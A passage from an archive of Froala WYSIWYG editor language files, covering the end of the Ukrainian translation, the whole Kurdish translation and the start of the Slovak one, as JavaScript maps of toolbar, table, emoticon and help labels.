"\u0414\u043E\u0434\u0430\u0442\u0438 \u0441\u0442\u043E\u0432\u043F\u0435\u0446\u044C \u043B\u0456\u0432\u043E\u0440\u0443\u0447", 'Insert column after': "\u0414\u043E\u0434\u0430\u0442\u0438 \u0441\u0442\u043E\u0432\u043F\u0435\u0446\u044C \u043F\u0440\u0430\u0432\u043E\u0440\u0443\u0447", 'Delete column': "\u0412\u0438\u0434\u0430\u043B\u0438\u0442\u0438 \u0441\u0442\u043E\u0432\u043F\u0435\u0446\u044C", 'Cell': "\u041A\u043E\u043C\u0456\u0440\u043A\u0430", 'Merge cells': "\u041E\u0431'\u0454\u0434\u043D\u0430\u0442\u0438 \u043A\u043E\u043C\u0456\u0440\u043A\u0438", 'Horizontal split': "\u0420\u043E\u0437\u0434\u0456\u043B\u0438\u0442\u0438 \u0433\u043E\u0440\u0438\u0437\u043E\u043D\u0442\u0430\u043B\u044C\u043D\u043E", 'Vertical split': "\u0420\u043E\u0437\u0434\u0456\u043B\u0438\u0442\u0438 \u0432\u0435\u0440\u0442\u0438\u043A\u0430\u043B\u044C\u043D\u043E", 'Cell Background': "\u0441\u0442\u0456\u043B\u044C\u043D\u0438\u043A\u043E\u0432\u0438\u0439 \u0444\u043E\u043D", 'Vertical Align': "\u0432\u0435\u0440\u0442\u0438\u043A\u0430\u043B\u044C\u043D\u0430 \u0432\u0438\u0440\u0456\u0432\u043D\u044E\u0432\u0430\u043D\u043D\u044F", 'Top': "\u0422\u043E\u043F", 'Middle': "\u0441\u0435\u0440\u0435\u0434\u043D\u0456\u0439", 'Bottom': "\u0434\u043D\u043E", 'Align Top': "\u0417\u0456\u0441\u0442\u0430\u0432\u0442\u0435 \u0432\u0435\u0440\u0445\u043D\u044E", 'Align Middle': "\u0432\u0438\u0440\u0456\u0432\u043D\u044F\u0442\u0438 \u043F\u043E \u0441\u0435\u0440\u0435\u0434\u0438\u043D\u0456", 'Align Bottom': "\u0417\u0456\u0441\u0442\u0430\u0432\u0442\u0435 \u043D\u0438\u0436\u043D\u044E", 'Cell Style': "\u0441\u0442\u0438\u043B\u044C \u043A\u043E\u043C\u0456\u0440\u043A\u0438", // Files 'Upload File': "\u0417\u0430\u0432\u0430\u043D\u0442\u0430\u0436\u0438\u0442\u0438 \u0444\u0430\u0439\u043B", 'Drop file': "\u041F\u0435\u0440\u0435\u043C\u0456\u0441\u0442\u0456\u0442\u044C \u0444\u0430\u0439\u043B \u0441\u044E\u0434\u0438", // Emoticons 'Emoticons': "\u0441\u043C\u0430\u0439\u043B\u0438", 'Grinning face': "\u043F\u043E\u0441\u043C\u0456\u0445\u043D\u0443\u0432\u0448\u0438\u0441\u044C \u043E\u0441\u043E\u0431\u0430", 'Grinning face with smiling eyes': "\u041F\u043E\u0441\u043C\u0456\u0445\u043D\u0443\u0432\u0448\u0438\u0441\u044C \u043E\u0441\u043E\u0431\u0430 \u0437 \u0443\u0441\u043C\u0456\u0445\u043D\u0435\u043D\u0438\u043C\u0438 \u043E\u0447\u0438\u043C\u0430", 'Face with tears of joy': "\u041E\u0431\u043B\u0438\u0447\u0447\u044F \u0437\u0456 \u0441\u043B\u044C\u043E\u0437\u0430\u043C\u0438 \u0440\u0430\u0434\u043E\u0441\u0442\u0456", 'Smiling face with open mouth': "\u0423\u0441\u043C\u0456\u0445\u043D\u0435\u043D\u0435 \u043E\u0431\u043B\u0438\u0447\u0447\u044F \u0437 \u0432\u0456\u0434\u043A\u0440\u0438\u0442\u0438\u043C \u0440\u043E\u0442\u043E\u043C", 'Smiling face with open mouth and smiling eyes': "\u041F\u043E\u0441\u043C\u0456\u0445\u0430\u044E\u0447\u0438\u0441\u044C \u043E\u0441\u043E\u0431\u0430 \u0437 \u0432\u0456\u0434\u043A\u0440\u0438\u0442\u0438\u043C \u0440\u043E\u0442\u043E\u043C \u0456 ", 'Smiling face with open mouth and cold sweat': "\u041F\u043E\u0441\u043C\u0456\u0445\u0430\u044E\u0447\u0438\u0441\u044C \u043E\u0441\u043E\u0431\u0430 \u0437 \u0432\u0456\u0434\u043A\u0440\u0438\u0442\u0438\u043C \u0440\u043E\u0442\u043E\u043C \u0456 ", 'Smiling face with open mouth and tightly-closed eyes': "\u041F\u043E\u0441\u043C\u0456\u0445\u0430\u044E\u0447\u0438\u0441\u044C \u043E\u0441\u043E\u0431\u0430 \u0437 \u0432\u0456\u0434\u043A\u0440\u0438\u0442\u0438\u043C \u0440\u043E\u0442\u043E\u043C \u0456 \u0449\u0456\u043B\u044C\u043D\u043E \u0437\u0430\u043A\u0440\u0438\u0442\u0438\u043C\u0438 \u043E\u0447\u0438\u043C\u0430", 'Smiling face with halo': "\u041F\u043E\u0441\u043C\u0456\u0445\u0430\u044E\u0447\u0438\u0441\u044C \u043E\u0441\u043E\u0431\u0430 \u0433\u0430\u043B\u043E", 'Smiling face with horns': "\u041F\u043E\u0441\u043C\u0456\u0445\u0430\u044E\u0447\u0438\u0441\u044C \u043E\u0441\u043E\u0431\u0430 \u0437 \u0440\u043E\u0433\u0430\u043C\u0438", 'Winking face': "\u043F\u0456\u0434\u043C\u043E\u0440\u0433\u0443\u044E\u0447\u0438 \u043E\u0441\u043E\u0431\u0430", 'Smiling face with smiling eyes': "\u041F\u043E\u0441\u043C\u0456\u0445\u0430\u044E\u0447\u0438\u0441\u044C \u043E\u0441\u043E\u0431\u0430 \u0437 \u0443\u0441\u043C\u0456\u0445\u043D\u0435\u043D\u0438\u043C\u0438 \u043E\u0447\u0438\u043C\u0430", 'Face savoring delicious food': "\u041E\u0441\u043E\u0431\u0430 \u0441\u043C\u0430\u043A\u0443\u044E\u0447\u0438 \u0441\u043C\u0430\u0447\u043D\u0443 \u0457\u0436\u0443", 'Relieved face': "\u0437\u0432\u0456\u043B\u044C\u043D\u0435\u043D\u043E \u043E\u0441\u043E\u0431\u0430", 'Smiling face with heart-shaped eyes': "\u041F\u043E\u0441\u043C\u0456\u0445\u0430\u044E\u0447\u0438\u0441\u044C \u043E\u0441\u043E\u0431\u0430 \u0443 \u0444\u043E\u0440\u043C\u0456 \u0441\u0435\u0440\u0446\u044F \u043E\u0447\u0438\u043C\u0430", 'Smiling face with sunglasses': "Smiling face with sunglasses", 'Smirking face': "\u043F\u043E\u0441\u043C\u0456\u0445\u043D\u0443\u0432\u0448\u0438\u0441\u044C \u043E\u0441\u043E\u0431\u0430", 'Neutral face': "\u0437\u0432\u0438\u0447\u0430\u0439\u043D\u0438\u0439 \u043E\u0441\u043E\u0431\u0430", 'Expressionless face': "\u043D\u0435\u0432\u0438\u0440\u0430\u0437\u043D\u0456 \u043E\u0431\u043B\u0438\u0447\u0447\u044F", 'Unamused face': "Unamused \u043E\u0441\u043E\u0431\u0430", 'Face with cold sweat': "\u041E\u0441\u043E\u0431\u0430 \u0437 \u0445\u043E\u043B\u043E\u0434\u043D\u043E\u0433\u043E \u043F\u043E\u0442\u0443", 'Pensive face': "\u0437\u0430\u043C\u0438\u0441\u043B\u0435\u043D\u0438\u0439 \u043E\u0441\u043E\u0431\u0430", 'Confused face': "\u043F\u043B\u0443\u0442\u0430\u0442\u0438 \u043E\u0441\u043E\u0431\u0430", 'Confounded face': "\u043D\u0435\u0445\u0430\u0439 \u043F\u043E\u0441\u043E\u0440\u043E\u043C\u043B\u044F\u0442\u044C\u0441\u044F \u043E\u0441\u043E\u0431\u0430", 'Kissing face': "\u043F\u043E\u0446\u0456\u043B\u0443\u043D\u043A\u0438 \u043E\u0441\u043E\u0431\u0430", 'Face throwing a kiss': "\u041E\u0441\u043E\u0431\u0430 \u043A\u0438\u0434\u0430\u043B\u0438 \u043F\u043E\u0446\u0456\u043B\u0443\u043D\u043E\u043A", 'Kissing face with smiling eyes': "\u041F\u043E\u0446\u0456\u043B\u0443\u043D\u043A\u0438 \u043E\u0441\u043E\u0431\u0430 \u0437 \u0443\u0441\u043C\u0456\u0445\u043D\u0435\u043D\u0438\u043C\u0438 \u043E\u0447\u0438\u043C\u0430", 'Kissing face with closed eyes': "\u041F\u043E\u0446\u0456\u043B\u0443\u043D\u043A\u0438 \u043E\u0431\u043B\u0438\u0447\u0447\u044F \u0437 \u0437\u0430\u043F\u043B\u044E\u0449\u0435\u043D\u0438\u043C\u0438 \u043E\u0447\u0438\u043C\u0430", 'Face with stuck out tongue': "\u041E\u0431\u043B\u0438\u0447\u0447\u044F \u0437 \u0441\u0442\u0438\u0440\u0447\u0430\u043B\u0438 \u044F\u0437\u0438\u043A", 'Face with stuck out tongue and winking eye': "\u041E\u0431\u043B\u0438\u0447\u0447\u044F \u0437 \u0441\u0442\u0438\u0440\u0447\u0430\u043B\u0438 \u044F\u0437\u0438\u043A\u0430 \u0456 \u0410\u043D\u0456\u043C\u043E\u0432\u0430\u043D\u0435 \u043E\u0447\u0435\u0439", 'Face with stuck out tongue and tightly-closed eyes': "\u041E\u0431\u043B\u0438\u0447\u0447\u044F \u0437 \u0441\u0442\u0438\u0440\u0447\u0430\u043B\u0438 \u044F\u0437\u0438\u043A\u0430 \u0456 \u0449\u0456\u043B\u044C\u043D\u043E \u0437\u0430\u043A\u0440\u0438\u0442\u0456 \u043E\u0447\u0456", 'Disappointed face': "\u0440\u043E\u0437\u0447\u0430\u0440\u043E\u0432\u0430\u043D\u0438\u0439 \u043E\u0441\u043E\u0431\u0430", 'Worried face': "\u0441\u0442\u0443\u0440\u0431\u043E\u0432\u0430\u043D\u0438\u0439 \u043E\u0441\u043E\u0431\u0430", 'Angry face': "\u0437\u043B\u0438\u0439 \u043E\u0441\u043E\u0431\u0430", 'Pouting face': "\u043F\u0443\u0445\u043A\u0456 \u043E\u0441\u043E\u0431\u0430", 'Crying face': "\u043F\u043B\u0430\u0447 \u043E\u0441\u043E\u0431\u0430", 'Persevering face': "\u043D\u0430\u043F\u043E\u043B\u0435\u0433\u043B\u0438\u0432\u0430 \u043E\u0441\u043E\u0431\u0430", 'Face with look of triumph': "\u041E\u0441\u043E\u0431\u0430 \u0437 \u0432\u0438\u0434\u043E\u043C \u0442\u0440\u0456\u0443\u043C\u0444\u0443", 'Disappointed but relieved face': "\u0420\u043E\u0437\u0447\u0430\u0440\u043E\u0432\u0430\u043D\u0438\u0439, \u0430\u043B\u0435 \u0437\u0432\u0456\u043B\u044C\u043D\u0435\u043D\u0438\u0439 \u043E\u0441\u043E\u0431\u0430", 'Frowning face with open mouth': "\u041D\u0430\u0441\u0443\u043F\u0438\u0432\u0448\u0438\u0441\u044C \u043E\u0441\u043E\u0431\u0430 \u0437 \u0432\u0456\u0434\u043A\u0440\u0438\u0442\u0438\u043C \u0440\u043E\u0442\u043E\u043C", 'Anguished face': "\u0431\u043E\u043B\u0456\u0441\u043D\u0438\u0439 \u043E\u0441\u043E\u0431\u0430", 'Fearful face': "\u043F\u043E\u0431\u043E\u044E\u044E\u0447\u0438\u0441\u044C \u043E\u0441\u043E\u0431\u0430", 'Weary face': "\u0432\u0442\u043E\u043C\u043B\u0435\u043D\u0438\u0439 \u043E\u0441\u043E\u0431\u0430", 'Sleepy face': 'сонне обличчя', 'Tired face': "\u0432\u0442\u043E\u043C\u0438\u043B\u0438\u0441\u044F \u043E\u0441\u043E\u0431\u0430", 'Grimacing face': "\u0433\u0440\u0438\u043C\u0430\u0441\u0443\u044E\u0447\u0438 \u043E\u0441\u043E\u0431\u0430", 'Loudly crying face': "Loudly crying face", 'Face with open mouth': "\u041E\u0441\u043E\u0431\u0430 \u0437 \u0432\u0456\u0434\u043A\u0440\u0438\u0442\u0438\u043C \u0440\u043E\u0442\u043E\u043C", 'Hushed face': "\u0437\u0430\u0442\u0438\u0445 \u043E\u0441\u043E\u0431\u0430", 'Face with open mouth and cold sweat': "\u041E\u0441\u043E\u0431\u0430 \u0437 \u0432\u0456\u0434\u043A\u0440\u0438\u0442\u0438\u043C \u0440\u043E\u0442\u043E\u043C \u0456 \u0445\u043E\u043B\u043E\u0434\u043D\u0438\u0439 \u043F\u0456\u0442", 'Face screaming in fear': "\u041E\u0441\u043E\u0431\u0430 \u043A\u0440\u0438\u0447\u0430\u0442\u0438 \u0432 \u0441\u0442\u0440\u0430\u0445\u0443", 'Astonished face': "\u0437\u0434\u0438\u0432\u043E\u0432\u0430\u043D\u0438\u0439 \u043E\u0441\u043E\u0431\u0430", 'Flushed face': "\u043F\u0440\u0438\u043F\u043B\u0438\u0432 \u043A\u0440\u043E\u0432\u0456 \u0434\u043E \u043E\u0431\u043B\u0438\u0447\u0447\u044F", 'Sleeping face': "\u0421\u043F\u043B\u044F\u0447\u0430 \u043E\u0441\u043E\u0431\u0430", 'Dizzy face': "\u0414\u0456\u0437\u0437\u0456 \u043E\u0441\u043E\u0431\u0430", 'Face without mouth': "\u041E\u0441\u043E\u0431\u0430 \u0431\u0435\u0437 \u0440\u043E\u0442\u0430", 'Face with medical mask': "\u041E\u0441\u043E\u0431\u0430 \u0437 \u043C\u0435\u0434\u0438\u0447\u043D\u043E\u044E \u043C\u0430\u0441\u043A\u043E\u044E", // Line breaker 'Break': "\u0437\u043B\u043E\u043C\u0438\u0442\u0438", // Math 'Subscript': "\u043F\u0456\u0434\u0440\u044F\u0434\u043A\u043E\u0432\u0438\u0439", 'Superscript': "\u043D\u0430\u0434\u0440\u044F\u0434\u043A\u043E\u0432\u0438\u0439 \u0441\u0438\u043C\u0432\u043E\u043B", // Full screen 'Fullscreen': "\u043F\u043E\u0432\u043D\u043E\u0435\u043A\u0440\u0430\u043D\u043D\u0438\u0439 \u0440\u0435\u0436\u0438\u043C", // Horizontal line 'Insert Horizontal Line': "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u0433\u043E\u0440\u0438\u0437\u043E\u043D\u0442\u0430\u043B\u044C\u043D\u0443 \u043B\u0456\u043D\u0456\u044E", // Clear formatting 'Clear Formatting': "\u041E\u0447\u0438\u0441\u0442\u0438\u0442\u0438 \u0444\u043E\u0440\u043C\u0430\u0442\u0443\u0432\u0430\u043D\u043D\u044F", // Save 'Save': "\u0417\u0431\u0435\u0440\u0435\u0433\u0442\u0438", // Undo, redo 'Undo': "\u0421\u043A\u0430\u0441\u0443\u0432\u0430\u0442\u0438", 'Redo': "\u041F\u043E\u0432\u0442\u043E\u0440\u0438\u0442\u0438", // Select all 'Select All': "\u0412\u0438\u0431\u0440\u0430\u0442\u0438 \u0432\u0441\u0435", // Code view 'Code View': "\u041F\u0435\u0440\u0435\u0433\u043B\u044F\u0434 \u043A\u043E\u0434\u0443", // Quote 'Quote': "\u0426\u0438\u0442\u0430\u0442\u0430", 'Increase': "\u0417\u0431\u0456\u043B\u044C\u0448\u0438\u0442\u0438", 'Decrease': "\u0437\u043D\u0438\u0436\u0435\u043D\u043D\u044F", // Quick Insert 'Quick Insert': "\u0428\u0432\u0438\u0434\u043A\u0438\u0439 \u0432\u0441\u0442\u0430\u0432\u043A\u0430", // Spcial Characters 'Special Characters': 'Спеціальні символи', 'Latin': 'Латинський', 'Greek': 'Грецький', 'Cyrillic': 'Кирилиця', 'Punctuation': 'Пунктуація', 'Currency': 'Валюта', 'Arrows': 'Стріли', 'Math': 'Математика', 'Misc': 'Різне', // Print. 'Print': 'Друкувати', // Spell Checker. 'Spell Checker': 'Перевірка орфографії', // Help 'Help': 'Допомогти', 'Shortcuts': 'Ярлики', 'Inline Editor': 'Вбудований редактор', 'Show the editor': 'Показати редактору', 'Common actions': 'Спільні дії', 'Copy': 'Скопіювати', 'Cut': 'Вирізати', 'Paste': 'Вставити', 'Basic Formatting': 'Основне форматування', 'Increase quote level': 'Збільшити рівень цитування', 'Decrease quote level': 'Знизити рівень цитування', 'Image / Video': 'Зображення / відео', 'Resize larger': 'Змінити розмір більше', 'Resize smaller': 'Змінити розмір менше', 'Table': 'Стіл', 'Select table cell': 'Виберіть комірку таблиці', 'Extend selection one cell': 'Продовжити виділення однієї комірки', 'Extend selection one row': 'Продовжити виділення одного рядка', 'Navigation': 'Навігація', 'Focus popup / toolbar': 'Фокус спливаюче / панель інструментів', 'Return focus to previous position': 'Поверніть фокус на попередню позицію', // Embed.ly 'Embed URL': 'Вставити URL-адресу', 'Paste in a URL to embed': 'Вставте в url, щоб вставити', // Word Paste. 'The pasted content is coming from a Microsoft Word document. Do you want to keep the format or clean it up?': 'Вставлений вміст надходить з документу Microsoft Word. ви хочете зберегти формат чи очистити його?', 'Keep': 'Тримати', 'Clean': 'Чистий', 'Word Paste Detected': 'Слово паста виявлено', // Character Counter 'Characters': 'Символи', // More Buttons 'More Text': 'більше тексту', 'More Paragraph': 'більше Параграф', 'More Rich': 'більше Багатий', 'More Misc': 'більше Різне' }, direction: 'ltr' }; }))); //# sourceMappingURL=uk.js.map languages/ku.js 0000674 00000032312 00000000000 0007434 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(require('froala-editor')) : typeof define === 'function' && define.amd ? define(['froala-editor'], factory) : (factory(global.FroalaEditor)); }(this, (function (FE) { 'use strict'; FE = FE && FE.hasOwnProperty('default') ? FE['default'] : FE; /** * Arabic */ FE.LANGUAGE['ku'] = { translation: { // Place holder 'Type something': 'شتێک بنووسە', // Basic formatting 'Bold': 'تۆخکردنەوە', 'Italic': 'لارکردنەوە', 'Underline': 'هێڵ بەژێردا هێنان', 'Strikethrough': 'هێڵ بە سەردا هێنان', // Main buttons 'Insert': 'خستنە ناو', 'Delete': 'سڕینەوە', 'Cancel': 'پاشگەزبوونەوە', 'OK': 'باشە', 'Back': 'گەڕانەوە', 'Remove': 'لابردن', 'More': 'زیاتر', 'Update': 'نوێکردنەوە', 'Style': 'شێواز', // Font 'Font Family': 'فۆنتی خێزان', 'Font Size': 'قەبارەی فۆنت', // Colors 'Colors': 'ڕەنگەکان', 'Background': 'پاشبنەما(باکگراوند)', 'Text': 'دەق', // Paragraphs بۆیە ڕەقەمەکانی خوارەوەم نەکردووە بە کوردی لە شوێنی تریش بینیوومە هەروا نوسراوەتەوە 'Paragraph Format': 'شێوازی پەڕەگراف', 'Normal': 'ئاسایی', 'Code': 'کۆد', 'Heading 1': ' 1', 'Heading 2': ' 2', 'Heading 3': ' 3', 'Heading 4': ' 4', // Style 'Paragraph Style': 'شێوازی پەڕەگراف', 'Inline Style': 'شێوزای ناو دێڕ', // Alignment 'Align': 'ڕیزکردن', 'Align Left': 'ڕیزکردن لای چەپەوە', 'Align Center': 'ڕیزکردن لە ناوەڕاستەوە', 'Align Right': 'ڕیزکردن لای ڕاستەوە', 'Align Justify': 'هاوڕێک', 'None': 'هیچ', // Lists 'Ordered List': 'لیستی داواکراو', 'Unordered List': 'لیستی داوانەکراو', // Indent 'Decrease Indent': 'کەمکردنەوەی بۆشایی بەجێهێشتن', 'Increase Indent': 'زیادکردنی بۆشایی بەجێهێشتن', // Links 'Insert Link': 'دانانی بەستەر', 'Open in new tab': 'کردنەوەی لە تابێکی نوێدا', 'Open Link': 'کردنەوەی بەستەر', 'Edit Link': 'دەستکاریکردنی بەستەر', 'Unlink': 'سڕینەوەی بەستەر', 'Choose Link': 'هەڵبژاردنی بەستەر', // Images 'Insert Image': 'هێنانی وێنە', 'Upload Image': 'بارکردنی وێنە', 'By URL': 'بە شێوەی بەستەر', 'Browse': 'هێنان', 'Drop image': 'ڕاکێشانی وێنە', 'or click': 'یان کرتە', 'Manage Images': 'بەڕێوەبردنی وێنە', 'ئامادەکردن': 'Cargando', 'Deleting': 'سڕینەوە', 'Tags': 'تاگەکان', 'Are you sure? Image will be deleted.': 'دڵنیایت لە سڕینەوەی وێنەکە', 'Replace': 'لەبری دانان', 'Uploading': 'بارکردن', 'Loading image': 'ئامادەکردنی وێنە', 'Display': 'پیشان دان', 'Inline': 'ناو دێڕ', 'Break Text': 'ماوەی دەق', 'Alternative Text': 'جێگرەوەی دەق', 'Change Size': 'گۆڕینی قەبارەی', 'Width': 'پانی', 'Height': 'بەرزی', 'Something went wrong. Please try again.': 'شتێک هە ڵەیە تکایە هەوڵبدەرەوە', // Video 'Insert Video': 'دانانی ڤیدیۆ', 'Embedded Code': 'کۆدی ئێمبد', // Tables 'Insert Table': 'دانانی خشتە', 'Table Header': 'خشتەی ناونیشان', 'Remove Table': 'سڕینەوەی خشتە', 'Table Style': 'شێوازی خشتە', 'Horizontal Align': 'ڕێکخستنی ئاسۆیی', 'Row': 'ڕیز', 'Insert row above': 'دانانی ڕیز لەسەرەوە', 'Insert row below': 'دانانی ڕیز لە خوارەوە', 'Delete row': 'سڕینەوەی ڕیز', 'Column': 'ستوون', 'Insert column before': 'زیادکردنی ستونێک لە پێشەوە', 'Insert column after': 'زیادکردنی ستونێک لە دوایەوە', 'Delete column': 'سڕینەوەی ستونێک', 'Cell': 'خانە', 'Merge cells': 'تێکەڵکردنی خانەکان', 'Horizontal split': 'جیاکردنەوەی هێڵی ئاسۆیی', 'Vertical split': 'جیاکردنەوەی سەر بەرەو خوار', 'Cell Background': 'خانەی باکگراوند', 'Vertical Align': 'ڕیزکردن بەشێوەی سەر بەرەو خوار', 'Top': 'سەرەوە', 'Middle': 'ناوەڕاست', 'Bottom': 'خوارەوە', 'Align Top': 'ڕیزکردن لە سەرەوە', 'Align Middle': 'ڕیزکردن لە ناوەڕاستەوە', 'Align Bottom': 'ڕیزکردن لە خوارەوە', 'Cell Style': 'شێوازی خانە', // Files 'Upload File': 'بەرزکردنەوەی پەڕگە', 'Drop file': 'ڕاکێشانی پەڕگە', // Emoticons 'Emoticons': 'ئیمۆجی', 'Grinning face': 'ڕوخسارێکی پێکەنیناوی', 'Grinning face with smiling eyes': 'ڕوخسارێکی پێکەنیناوی لەگەڵ چاوێکی خەندە ئامێز', 'Face with tears of joy': 'دەمووچاوێک لەگەڵ ئاو هاتنە خوارەوەوە بە چاودا', 'Smiling face with open mouth': 'دەمووچاوێکی پێکەنیناوی لەگەڵ دەمکردنەوە', 'Smiling face with open mouth and smiling eyes': 'دەمووچاوێکی پێکەنیناوی لەگەڵ دەمکردنەوە و چاوێکی خەندە ئامێز', 'Smiling face with open mouth and cold sweat': 'دەمووچاوێکی پێکەنیناوی لەگەڵ دەمکردنەوە و ئارەق کردنەوە', 'Smiling face with open mouth and tightly-closed eyes': 'Cara sonriente con la boca abierta y los ojos fuertemente cerrados', 'Smiling face with halo': 'دەمووچاوێکی پێکەنیناوی و بوونی بازنەیەکی خڕ بەسەرتەوە', 'Smiling face with horns': 'دەمووچاوێکی پێکەنیناوی لەگەڵ دوو قۆچدا', 'Winking face': 'چاو داگرتن', 'Smiling face with smiling eyes': 'دەمووچاوێکی پێکەنیناوی چاوی بچوک کردوەتەوە', 'Face savoring delicious food': 'دەمووچاوی کەسێک کە حەزی لە خواردنە', 'Relieved face': 'دەمووچاوێکی حەساوە', 'Smiling face with heart-shaped eyes': 'دەمووچاوێک لەگەڵ بوونی دڵ لە چاودا', 'Smiling face with sunglasses': 'دەمووچاوێک لەگەڵ چاویلکەدا', 'Smirking face': 'دەمووچاوێکی فیزاوی', 'Neutral face': 'دەم داخستن', 'Expressionless face': 'دەم و چاو داخستن', 'Unamused face': 'دەمووچاوێکی بێزار', 'Face with cold sweat': 'ڕوخسارێک لەگەڵ ئارەقی سارددا', 'Pensive face': 'ڕوخسارێکی خەمبار', 'Confused face': 'ڕوخسارێکی قەلەق', 'Confounded face': 'ڕوخسارێکی ئاڵۆز', 'Kissing face': 'دەمووچاوێک و ماچ', 'Face throwing a kiss': 'دەمووچاوێک ماچ هەڵبدات', 'Kissing face with smiling eyes': 'دەمووچاوێک ماچ دەکات لەگەڵ ڕوخسارێکی پێکەنیناوی', 'Kissing face with closed eyes': 'دەمووچاوێک ماچ دەکات و چاوی داخستووە', 'Face with stuck out tongue': 'ڕوخسارێک زمانی دەرهێناوە', 'Face with stuck out tongue and winking eye': 'ڕوخسارێک زمانی دەرهێناوە و چاوێکی لێت داگرتووە', 'Face with stuck out tongue and tightly-closed eyes': 'هەردووچاوی داخستووە و زمان دەردێنێت', 'Disappointed face': 'ڕوخسارێکی نائومێد کراو', 'Worried face': 'ڕوخسارێکی بێتاقەت', 'Angry face': 'ڕوخسارێکی توڕە', 'Pouting face': 'ڕوخسارێک لچی دەرهێناوە', 'Crying face': 'ڕوخسارێک دەگری', 'Persevering face': 'ڕوخسارێکی تەواوی بێتاقەت', 'Face with look of triumph': 'ڕوخسارێک کە سوورە لەسەر کارێک', 'Disappointed but relieved face': 'ڕوخسارێکی خەمبارە و ئارەق دەکاتەوە', 'Frowning face with open mouth': 'ڕوخسارێکی تووڕە و دەمی کراوەتەوە', 'Anguished face': 'ڕوخسارێکی خەمناک', 'Fearful face': 'دەموچاوێکی ترساو', 'Weary face': 'ڕوخسارێکی ماندوو', 'Sleepy face': 'ڕوخسارێکی خەوتوو', 'Tired face': 'ڕوخسارێکی ماندوو', 'Grimacing face': 'دان جیڕ کردنەوە', 'Loudly crying face': 'ڕوخسارێک بە دەنگی بەرزەوە دەگری', 'Face with open mouth': 'ڕوخسارێک دەمی کردوەتەوە', 'Hushed face': 'ڕوخسارێکی بێدەنگ کراو', 'Face with open mouth and cold sweat': 'دەمووچاوێک دەمی کردوەتەوە و ئارەق دەڕێژێت', 'Face screaming in fear': 'دەمووچاوێک هاوار دەکات و لە شتێک دەترسێت', 'Astonished face': 'ڕوخسارێکی سەرسام بوو', 'Flushed face': 'ڕوخسارێکی سور بووەوە', 'Sleeping face': 'ڕوخسارێکی خەوتوو', 'Dizzy face': 'سەرگێژ خواردن', 'Face without mouth': 'دەمووچاوێک بەبێ دەم', 'Face with medical mask': 'دەمووچاوێک لەگەڵ ماسکی پزیشکی', // Line breaker 'Break': 'بڕینی هێڵێک', // Math 'Subscript': 'نوسین لە ژێرەوەی نوسینێکی دیکە', 'Superscript': 'سەرنووس', // Full screen 'Fullscreen': 'پڕ بە شاشە', // Horizontal line 'Insert Horizontal Line': 'دانانی هێڵی ئاسۆیی', // Clear formatting 'Clear Formatting': 'سڕینەوەی شێواز', // Save 'Save': '', // Undo, redo 'Undo': 'گەڕانەوە', 'Redo': 'هێنانەوەی هەنگاوی پێشتر', // Select all 'Select All': 'دیاریکردنی هەموو', // Code view 'Code View': 'بینینی کۆد', // Quote 'Quote': 'وتە', 'Increase': 'زیادکردن', 'Decrease': 'کەمکردن', // Quick Insert 'Quick Insert': 'خێرا خستنە ناو', // Spcial Characters 'Special Characters': 'Special Characters', 'Latin': 'Latin', 'Greek': 'Greek', 'Cyrillic': 'Cyrillic', 'Punctuation': 'Punctuation', 'Currency': 'Currency', 'Arrows': 'Arrows', 'Math': 'Math', 'Misc': 'Misc', // Print. 'Print': 'Print', // Spell Checker. 'Spell Checker': 'Spell Checker', // Help 'Help': 'Help', 'Shortcuts': 'Shortcuts', 'Inline Editor': 'Inline Editor', 'Show the editor': 'Show the editor', 'Common actions': 'Common actions', 'Copy': 'Copy', 'Cut': 'Cut', 'Paste': 'Paste', 'Basic Formatting': 'Basic Formatting', 'Increase quote level': 'Increase quote level', 'Decrease quote level': 'Decrease quote level', 'Image / Video': 'Image / Video', 'Resize larger': 'Resize larger', 'Resize smaller': 'Resize smaller', 'Table': 'Table', 'Select table cell': 'Select table cell', 'Extend selection one cell': 'Extend selection one cell', 'Extend selection one row': 'Extend selection one row', 'Navigation': 'Navigation', 'Focus popup / toolbar': 'Focus popup / toolbar', 'Return focus to previous position': 'Return focus to previous position', // Embed.ly 'Embed URL': 'Embed URL', 'Paste in a URL to embed': 'Paste in a URL to embed', // Word Paste. 'The pasted content is coming from a Microsoft Word document. Do you want to keep the format or clean it up?': 'The pasted content is coming from a Microsoft Word document. Do you want to keep the format or clean it up?', 'Keep': 'Keep', 'Clean': 'Clean', 'Word Paste Detected': 'Word Paste Detected', // Character Counter 'Characters': 'Characters', // More Buttons 'More Text': 'المزيد من النص', 'More Paragraph': ' المزيد من الفقرة', 'More Rich': ' أكثر ثراء', 'More Misc': ' أكثر متفرقات' }, direction: 'rtl' }; }))); //# sourceMappingURL=ku.js.map languages/sk.js 0000674 00000026353 00000000000 0007442 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(require('froala-editor')) : typeof define === 'function' && define.amd ? define(['froala-editor'], factory) : (factory(global.FroalaEditor)); }(this, (function (FE) { 'use strict'; FE = FE && FE.hasOwnProperty('default') ? FE['default'] : FE; /** * Slovak */ FE.LANGUAGE['sk'] = { translation: { // Place holder 'Type something': 'Napíšte hocičo', // Basic formatting 'Bold': 'Tučné', 'Italic': 'Kurzíva', 'Underline': 'Podčiarknuté', 'Strikethrough': 'Preškrtnuté', // Main buttons 'Insert': 'Vložiť', 'Delete': 'Vymazať', 'Cancel': 'Zrušiť', 'OK': 'OK', 'Back': 'Späť', 'Remove': 'Odstrániť', 'More': 'Viac', 'Update': 'Aktualizovať', 'Style': 'Štýl', // Font 'Font Family': 'Typ písma', 'Font Size': 'Veľkosť písma', // Colors 'Colors': 'Farby', 'Background': 'Pozadie', 'Text': 'Text', 'HEX Color': 'Hex Farby', // Paragraphs 'Paragraph Format': 'Formát odstavca', 'Normal': 'Normálne', 'Code': 'Kód', 'Heading 1': 'Nadpis 1', 'Heading 2': 'Nadpis 2', 'Heading 3': 'Nadpis 3', 'Heading 4': 'Nadpis 4', // Style 'Paragraph Style': 'Štýl odstavca', 'Inline Style': 'Inline štýl', // Alignment 'Align': 'Zarovnanie', 'Align Left': 'Zarovnať vľavo', 'Align Center': 'Zarovnať na stred', 'Align Right': 'Zarovnať vpravo', 'Align 